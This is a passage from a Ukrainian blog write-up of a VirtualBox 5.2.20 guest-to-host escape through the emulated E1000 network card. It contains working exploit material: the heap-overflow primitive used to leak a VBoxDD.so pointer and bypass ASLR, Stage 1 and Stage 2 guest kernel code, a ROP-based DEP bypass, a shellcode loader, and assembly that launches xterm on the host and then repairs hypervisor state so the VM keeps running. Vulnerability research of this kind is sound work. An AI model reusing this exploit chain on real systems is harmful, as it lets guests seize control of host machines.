Нас цікавить пристрій під індексом 0xE, відповідне E1000. У другому списку видно, що наступне за E1000 пристрій знаходиться на відстані 0x5700 байт, наступне — ще 0x19E0 байт і т. д. І як було сказано вище, ці відстані завжди однакові, що відкриває перед нами море можливостей експлуатації.

 

Після E1000 ми маємо наступні пристрої в порядку зростання адрес: ICH IC’97, OHCI, ACPI, VirtualBox GIM. Вивчаючи структури даних, відповідні цим пристроям, я знайшов чудову можливість застосувати наш write-примітив.

 

При запуску віртуальної машини створюється пристрій ACPI (файл src/VBox/Devices/PC/DevACPI.cpp):

 

typedef struct ACPIState
{
...
 uint8_t au8SMBusBlkDat[32];
 uint8_t u8SMBusBlkIdx;
 uint32_t uPmTimeOld;
 uint32_t uPmTimeA;
 uint32_t uPmTimeB;
 uint32_t Alignment5;
} ACPIState;

 

Для нього реєструється обробник портів введення/виведення в діапазоні 0x4100-0x410F. У разі порту 0x4107 маємо такий код:

 

PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb)
{
RT_NOREF1(pDevIns);
 ACPIState *pThis = (ACPIState *)pvUser;
...
 switch (off)
{
...
 case SMBBLKDAT_OFF:
 *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx];
pThis->u8SMBusBlkIdx++;
 pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1;
break;
...

 

Коли гостьова ОС виконує процесорну інструкцію INB з аргументом 0x4107 для читання одного байту з порту, обробник бере байт з масиву au8SMBusBlkDat[32] за індексом u8SMBusBlkIdx і повертає його гостю. Тут-то і з’являється можливість застосування write-примітиву: оскільки відстань між блоками купи для віртуальних пристроїв не змінюється, відстань від масиву EEPROM93C46.m_au16Data до поля ACPIState.u8SMBusBlkIdx фіксовано. Записуючи два байти в ACPIState.u8SMBusBlkIdx, ми можемо читати довільні байти на відстані 255 байт щодо ACPIState.au8SMBusBlkDat.

Читайте також  Цікавий JavaScript: Без фігурних дужок

 

Проблема в іншому. Якщо подивитися на структуру ACPIState, то видно, що масив знаходиться майже в кінці структури, і за них лежать хіба що поле u8SMBusBlkIdx і декілька інших полів, абсолютно непотрібних для нас. Виходить, що читати з структури ACPIState ми можемо, та нічого. Ну, нам не звикати, тому подивимося, що лежить в пам’яті за межами структури.

 

gef➤ x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0: 0xffffe98100000090 0xfffd9b2000000000
0x7fc47008d4f0: 0x00007fc470067a00 0x00007fc470067a00
0x7fc47008d500: 0x00000000a0028a00 0x00000000000e0000
0x7fc47008d510: 0x00000000000e0fff 0x0000000000001000
0x7fc47008d520: 0x000000ff00000002 0x0000100000000000
0x7fc47008d530: 0x00007fc47008c358 0x00007fc44d6ecdc6
0x7fc47008d540: 0x0031000035944000 0x00000000000002b8
0x7fc47008d550: 0x00280001d3878000 0x0000000000000000
gef➤ x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6: "ACPI RSDP"
gef➤ vmmap VBoxDD.so
Start End Offset Path Perm
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d977000 0x00007fc44d980000 0x0000000000284000 rw /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
gef➤ p 0x00007fc44d6ecdc6 - 0x00007fc44d4f3000
$2 = 0x1f9dc6

 

Виявляється, по зсуву 0x58 від кінця структури ACPIState лежить покажчик на рядок, що знаходиться за певною RVA від бази VBoxDD.so. Якщо ми побайтово з допомогою примітивів вважаємо цей покажчик і віднімемо з нього константу, то отримаємо базовий адресу VBoxDD.so і таким чином обійдемо ASLR. Єдине, на що нам сподіватися, так це на те, що пам’ять за межами структури ACPIState не буде різною при кожному запуску віртуальної машини. На щастя, так воно і виявилося, по зсуву 0x58 від кінця ACPIState завжди лежить потрібний покажчик.

 

Information Leak

 

Тепер ми комбінуємо дві створені нами уразливості і експлуатуємо їх для обходу ASLR. Будемо переповнювати купу, перезаписуючи структуру EEPROM93C46, потім стриггерим код EEPROM для запису індексу в структуру ACPIState, після чого виконаємо процесорну інструкцію INB(0x4107) для звернення до ACPI і читання одного байта покажчика. Все це повторимо вісім разів, кожного разу збільшуючи індекс на одиницю.

 

uint64_t stage_1_main(void* mmio, void* tx_ring) {
 printk(KERN_INFO PFX"##### Stage 1 #####n");

 // When loopback mode is enabled data (network packets actually) of every Tx Data Descriptor 
 // is sent back to the guest and handled right now via e1kHandleRxPacket.
 // When loopback mode is disabled data is sent to a network as usual.
 // We disable loopback mode here, at Stage 1, to overflow the heap but not touch the stack buffer
 // in e1kHandleRxPacket. Later, at Stage 2 we enable loopback mode to overflow heap and 
 // the stack buffer.
e1000_disable_loopback_mode(mmio);

 uint8_t leaked_bytes[8];
 uint32_t i;
 for (i = 0; i < 8; i++) {
 stage_1_overflow_heap_buffer(mmio, tx_ring, i);
 leaked_bytes[i] = stage_1_leak_byte();

 printk(KERN_INFO PFX"Byte %d leaked: 0x%02Xn", i, leaked_bytes[i]);
}

 uint64_t leaked_vboxdd_ptr = *(uint64_t*)leaked_bytes;
 uint64_t vboxdd_base = leaked_vboxdd_ptr - LEAKED_VBOXDD_RVA;
 printk(KERN_INFO PFX"Leaked VBoxDD.so pointer: 0x%016llxn", leaked_vboxdd_ptr);
 printk(KERN_INFO PFX"Leaked VBoxDD.so base: 0x%016llxn", vboxdd_base);

 return vboxdd_base;
}

 

Як було сказано раніше, для того, щоб вразливість integer underflow не призвела до stack buffer overflow, потрібно певним чином налаштувати регістри E1000. Суть в тому, що буфер переповнюється у функції e1kHandleRxPacket, яка викликається при обробці Tx-дескрипторів тільки тоді, коли включений loopback-режим. І це зрозуміло: у цьому режимі гість відправляє пакети самому собі, тому після відправки вони відразу ж приймаються. Ми відключаємо цей режим, тому функція e1kHandleRxPacket стає недосяжною.

 

Обхід DEP

 

Ми обійшли ASLR. Тепер можна включати loopback-режим і триггерить вразливість stack buffer overflow.

 

void stage_2_overflow_heap_and_stack_buffers(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
 off_t buffer_pa;
 void* buffer_va;
 alloc_buffer(&buffer_pa, &buffer_va);

 stage_2_set_up_buffer(buffer_va, vboxdd_base);
 stage_2_trigger_overflow(mmio, tx_ring, buffer_pa);

free_buffer(buffer_va);
}

void stage_2_main(void* mmio, void* tx_ring, uint64_t vboxdd_base) {
 printk(KERN_INFO PFX"##### Stage 2 #####n");

e1000_enable_loopback_mode(mmio);
 stage_2_overflow_heap_and_stack_buffers(mmio, tx_ring, vboxdd_base);
e1000_disable_loopback_mode(mmio);
}

 

Тепер, коли управління доходить до останньої інструкції функції e1kHandleRxPacket, на стеку перезаписаний адресу повернення, так що управління буде передано туди, куди завгодно нам. Але захист DEP все ще на місці. Вона обходиться класичним способом побудови ланцюжка ROP-гаджетів, які виділяють виконувану пам’ять, копіюють у неї завантажувач шеллкода і викликають його.

 

Шеллкод

 

Завантажувач шеллкода гранично простий. Він копіює початок буфера, який спричинив переповнення, і кладе поруч з собою. Наприкінці того буфера лежать адреси і дані для ROP-гаджетів, а на початку — сам шеллкод.

 

use64

start:
 lea rsi, [rsp - 0x4170];
 push rax
 pop rdi
 add rdi, loader_size
 mov rcx, 0x800
 rep movsb
nop

payload:
 ; Here the shellcode is to be

loader_size = $ - start

 

Тепер управління отримує шеллкод. Ось його перша половина:

 

use64

start:
 ; sys_fork
 mov rax, 58
syscall

 test rax, rax
 jnz continue_process_execution

 ; Initialize argv
 lea rsi, [cmd]
 mov [argv], rsi

 ; Initialize envp
 lea rsi, [env]
 mov [envp], rsi

 ; sys_execve
 lea rdi, [cmd]
 lea rsi, [argv]
 lea rdx, [envp]
 mov rax, 59
syscall

...

cmd db '/usr/bin/xterm', 0
env db 'DISPLAY=:0.0', 0
argv dq 0, 0
envp dq 0, 0

 

Робиться fork і execve, що створює новий процес /usr/bin/xtem. Атакуючий отримує контроль над хостом в контексті ring 3.

 

Process Continuation

 

Я вважаю, що кожен експлоїт має бути дописаний до кінця. Це означає, що він не повинен крашить програму, хоча зрозуміло, що не завжди це можливо. Нам потрібно, щоб віртуальна машина могла продовжувати функціонувати, що забезпечується другою половиною шеллкода.

 

continue_process_execution:
 ; Restore RBP
 mov rbp, rsp
 add rbp, 0x48

 ; Skip junk
 add rsp, 0x10

 ; Restore the registers that must be preserved according to System V ABI
 pop rbx
 pop r12
 pop r13
 pop r14
 pop r15

 ; Skip junk
 add rsp, 0x8

 ; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
 ; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
 ; After: "E1000-Xmit" -> NULL

 ; Zero out the entire PDMQUEUE "Mouse_1" pointed by "E1000-Rcv"
 ; This was unnecessary on my testing machines but to be sure...
 mov rdi, [rbx]
 mov rax, 0x0
 mov rcx, 0xA0
 rep stosb

 ; NULL out a pointer to PDMQUEUE "E1000-Rcv" stored in "E1000-Xmit"
 ; because the first 8 bytes of "E1000-Rcv" (a pointer to "Mouse_1") 
 ; will be corrupted in MMHyperFree
 mov qword [rbx], 0x0

 ; Now the last PDMQUEUE is "E1000-Xmit" which will not be corrupted

 ret

 

Суть в тому, що при переповненні буфера на стеку ми перезаписали багато даних, необхідних гіпервізору для функціонування при поверненні з функції e1kHandleRxPacket. Оскільки немає ні шансів, ні доцільності обчислювати всі дані, які були перезаписані ROP-гаджетами, ми зробимо те, що зазвичай і робиться: стрибнемо на кілька фреймів вгору і продовжимо виконання, як ніби всі викликані функції вже завершилися.
Схематично стек викликів при поверненні з e1kHandleRxPacket виглядає так:

 

#0 e1kHandleRxPacket
#1 e1kTransmitFrame
#2 e1kXmitDesc
#3 e1kXmitPacket
#4 e1kXmitPending
#5 e1kR3NetworkDown_XmitPending
...

 

З шеллкода будемо стрибати прямо в e1kR3NetworkDown_XmitPending, яка більше нічого не робить і повертає управління викликала її функції гіпервізора:

 

static DECLCALLBACK(void) e1kR3NetworkDown_XmitPending(PPDMINETWORKDOWN pInterface)
{
 PE1KSTATE pThis = RT_FROM_MEMBER(pInterface, E1KSTATE, INetworkDown);
 /* Resume suspended transmission */
 STATUS &= ~STATUS_TXOFF;
 e1kXmitPending(pThis, true /*fOnWorkerThread*/);
}

 

Шеллкод додає 0x48 до регістру RBP, щоб він став таким, яким повинен бути у функції e1kR3NetworkDown_XmitPending. Тепер зі стека забираються реєстри RBX, R12, R13, R14 і R15, т. к. у відповідності з System V ABI кожна викликається функція повинна зберігати їх недоторканими. Якщо цього не зробити, гіпервізор впаде через валідних покажчиків у цих регістрах.

 

На цьому можна було б зупинитися — віртуальна машина більше не крашится і продовжує нормально працювати. Але якщо спробувати вимкнути її, отримаємо access violation в PDMR3QueueDestroyDevice. Причина в тому що, при переповненні купи ми перезаписали важливу структуру даних PDMQUEUE, причому перезатирают її останні два вказівника на ROP-гаджети, тобто останні 16 байт у буфері. Спочатку я безуспішно намагався зменшити розмір ROP-ланцюжки, але потім вручну в налагоджувач підставив правильні дані і все одно отримав краш. Це значить, що швидко від помилки не відбутися.

 

Структура даних, яка перезатирается — зв’язаний список. Перезаписуються дані в передостанньому елементі списку, модифікуючи покажчик на останній елемент. Ідея щодо виправлення помилки виявилася проста:

 

; Fix the linked list of PDMQUEUE to prevent segfaults on VM shutdown
; Before: "E1000-Xmit" -> "E1000-Rcv" -> "Mouse_1" -> NULL
; After: "E1000-Xmit" -> NULL

 

Позбувшись від двох останніх елементів, віртуальна машина може спокійно вимикатися.

 

Демо

https://player.vimeo.com/video/299325088

Степан Лютий

Обожнюю технології в сучасному світі. Хоча частенько і замислююся над тим, як далеко вони нас заведуть. Не те, щоб я прям і знаюся на ядрах, пікселях, коллайдерах і інших парсеках. Просто приходжу в захват від того, що може в творчому пориві вигадати людський розум.

Вам також сподобається...

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *